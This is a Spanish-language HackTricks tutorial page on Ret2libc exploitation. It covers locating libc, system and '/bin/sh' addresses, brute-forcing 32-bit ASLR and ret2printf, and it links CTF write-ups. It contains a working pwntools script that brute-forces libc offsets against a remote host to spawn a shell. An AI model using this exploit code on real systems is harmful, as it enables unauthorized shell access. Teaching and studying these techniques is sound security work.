Ret2lib
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
La esencia de Ret2Libc es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, system, execve, strcpy) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté configurado correctamente de acuerdo con la convención de llamada.
Pasos de Ejemplo (simplificados)
- Obtener la dirección de la función a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh)
- Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecución a la función
Encontrando las direcciones
- Suponiendo que la
libcutilizada es la de la máquina actual, puedes encontrar dónde se cargará en memoria con:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Si quieres verificar si el ASLR está cambiando la dirección de libc, puedes hacer:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Conocer la libc utilizada también permite encontrar el desplazamiento a la función
systemcon:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Conocer la libc utilizada también permite encontrar el desplazamiento a la cadena
/bin/shfunción con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Usando gdb-peda / GEF
Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función system, de la función exit y de la cadena /bin/sh :
p system
p exit
find "/bin/sh"
Usando /proc/<PID>/maps
Si el proceso está creando hijos cada vez que hablas con él (servidor de red), intenta leer ese archivo (probablemente necesitarás ser root).
Aquí puedes encontrar exactamente dónde se carga la libc dentro del proceso y dónde se va a cargar para cada hijo del proceso.
.png)
En este caso se carga en 0xb75dc000 (Esta será la dirección base de libc)
libc desconocida
Puede ser posible que no sepas qué libc está cargando el binario (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para filtrar algunas direcciones y encontrar qué biblioteca libc se está utilizando:
Y puedes encontrar una plantilla de pwntools para esto en:
Conocer libc con 2 offsets
Consulta la página https://libc.blukat.me/ y usa un par de direcciones de funciones dentro de la libc para averiguar la versión utilizada.
Bypass de ASLR en 32 bits
Estos ataques de fuerza bruta son solo útiles para sistemas de 32 bits.
- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si atacas un servidor remoto, podrías intentar forzar la dirección de la función
usleepdelibc, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10s extra en responder, encontraste la dirección de esta función.
One Gadget
Ejecuta un shell saltando a una dirección específica en libc:
x86 Ret2lib Code Example
En este ejemplo, la fuerza bruta de ASLR está integrada en el código y el binario vulnerable se encuentra en un servidor remoto:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Código de Ejemplo
Consulta el ejemplo de:
ARM64 Ret2lib Ejemplo
En el caso de ARM64, la instrucción ret salta a donde apunta el registro x30 y no a donde apunta el registro de pila. Así que es un poco más complicado.
Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).
Consulta el ejemplo de:
Ret-into-printf (o puts)
Esto permite filtrar información del proceso al llamar a printf/puts con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de puts en el GOT en una ejecución de puts filtrará la dirección de puts en memoria.
Ret2printf
Esto básicamente significa abusar de un Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de printf utilizando el ret2lib para llamar a printf con los valores para explotarlo (suena inútil pero es posible):
Otros Ejemplos y referencias
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, dado un leak a la dirección de una función en libc, usando un gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, sin pie, sin canario, sin relro, nx. Usa la función write para filtrar la dirección de write (libc) y llama a un gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en el GOT) con la dirección de
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a
system('/bin/sh')(la dirección del heap es necesaria para eludir una verificación).
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


